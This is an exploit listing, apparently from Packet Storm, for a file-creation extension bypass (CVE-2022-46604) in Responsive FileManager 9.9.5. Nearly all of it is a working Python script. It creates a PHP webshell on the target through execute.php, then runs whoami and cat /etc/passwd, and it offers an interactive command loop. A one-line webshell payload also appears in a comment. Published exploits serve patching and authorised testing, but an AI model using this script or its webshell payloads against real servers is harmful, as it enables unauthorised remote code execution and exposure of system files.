Lucene search

K
packetstormGaloget LatorrePACKETSTORM:171720
HistoryApr 06, 2023 - 12:00 a.m.

Responsive FileManager 9.9.5 Remote Shell Upload

2023-04-0600:00:00
Galoget Latorre
packetstormsecurity.com
147
exploit
python
dockerfile
ubuntu
debian
kali
remote code execution
php
session
security vulnerability

0.003 Low

EPSS

Percentile

68.9%

`# Exploit Title: Responsive FileManager 9.9.5 - Remote Code Execution (RCE)  
# Date: 02-Feb-2023  
# Exploit Author: Galoget Latorre (@galoget)  
# Vendor Homepage: https://responsivefilemanager.com  
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.9.5/responsive_filemanager.zip  
# Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604  
# Version: 9.9.5  
# Language: Python 3.x  
# Tested on:  
# - Ubuntu 22.04.5 LTS 64-bit  
# - Debian GNU/Linux 10 (buster) 64-bit  
# - Kali GNU/Linux 2022.3 64-bit  
# CVE: CVE-2022-46604 (Konstantin Burov)  
  
  
#!/usr/bin/python3  
# -*- coding:utf-8 -*-  
  
import sys  
import requests  
from bs4 import BeautifulSoup  
from termcolor import colored, cprint  
  
  
# Usage: python3 exploit.py <target.site>  
# Example: python3 exploit.py 127.0.0.1  
  
  
def banner():  
"""  
Function to print the banner  
"""  
  
banner_text = """  
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___   
| | | | __| ___ |_ | |_ |_ | ___ | | | _| _| | | |  
| --| | | __| |___| | _| | | _| _| |___| |_ | . | . | | |_ |  
|_____|\\___/|_____| |___|___|___|___| |_|___|___|___| |_|  
  
File Creation Extension Bypass in Responsive FileManager ≤ 9.9.5 (RCE)  
Exploit Author: Galoget Latorre (@galoget)  
CVE Author: Konstantin Burov  
"""  
print(banner_text)  
  
  
def usage_instructions():  
"""  
Function that validates the number of arguments.  
The aplication MUST have 2 arguments:  
- [0]: Name of the script  
- [1]: Target site, which can be a domain or an IP Address  
"""  
if len(sys.argv) != 2:  
print("Usage: python3 exploit.py <target.site>")  
print("Example: python3 exploit.py 127.0.0.1")  
sys.exit(0)  
  
  
def run_command(web_session, webshell_url, command_to_run):  
"""  
Function that:  
- Interacts with the webshell to run a command  
- Cleans the response of the webshell  
- Returns the response object and the output of the command  
"""  
webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)  
command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')  
return (webshell_response, command_output_soup.find('pre').text)  
  
  
if __name__ == "__main__":  
banner()  
usage_instructions()  
  
# Change this with the domain or IP address to attack  
if sys.argv[1]:  
host = sys.argv[1]  
else:  
host = "127.0.0.1"  
  
headers = {  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',  
}  
  
  
# URL to create a new file  
target_url = f"http://{host}/filemanager/execute.php?action=create_file"  
  
# Change this to customize the payload (i.e. The content of the malicious file that will be created)  
payload = "<html><body><form method=\"GET\" name=\"<?php echo basename($_SERVER['PHP_SELF']); ?>\"><input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\"><input type=\"SUBMIT\" value=\"Execute\"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"  
# oneliner_payload = " <?=`$_GET[_]`?>"  
  
# URL to get a PHPSESSID value  
cookie_url = f"http://{host}/filemanager/dialog.php"  
  
# New Session  
session = requests.Session()  
  
# GET request to retrieve a PHPSESSID value  
cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")  
try:  
session.get(url = cookie_url, headers = headers)  
except:  
cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")  
sys.exit(0)  
  
if session.cookies.get_dict():  
cprint("[+] PHPSESSID retrieved correctly.", "green")  
cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")  
else:  
cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")  
  
# Params, rename if you want  
params = {"path": "shell.php", "path_thumb": "../thumbs/shell.php", "name": "shell.txt", "new_content": payload}  
  
# POST request to create the webshell  
cprint(f"\n[*] Attempting to create a webshell on {host}", "blue")  
response = session.post(url = target_url, headers = headers, data = params)  
  
# If the status code and the message match, we may have a webshell inside. ;)  
if response.status_code == 200 and response.text == "File successfully saved.":  
# Default webshell path  
shell_url = f"http://{host}/source/shell.php"  
  
# Verify if the shell was uploaded by running whoami and cat /etc/passwd  
webshell, whoami_output = run_command(session, shell_url, "whoami")  
webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")  
  
# Common users when getting a webshell  
common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]  
  
# Verify if the command was executed correctly  
if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:  
cprint("[+] Webshell uploaded - Enjoy!", "green")  
cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")  
cprint(f"[+] Running `whoami` command: {whoami_output}", "green")  
  
  
# Ask to enter into a pseudo-interactive mode with the webshell  
answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))  
  
if answer.upper() == "Y":  
cprint("\n[*] Entering into interactive mode, write 'exit' to quit.\n", "blue")  
command = ""  
while command != "exit":  
command = input(colored(">> ", "cyan")).lower()  
webshell, command_output = run_command(session, shell_url, command)  
if command != "exit":  
cprint(command_output, "cyan")  
  
cprint("\n[*] Exiting...Bye!", "blue")  
  
elif response.status_code == 403 and response.text == "The file is already existing":  
cprint("[-] The file that you're trying to create is already on the server.", "red")  
  
else:  
cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")  
  
  
  
`

0.003 Low

EPSS

Percentile

68.9%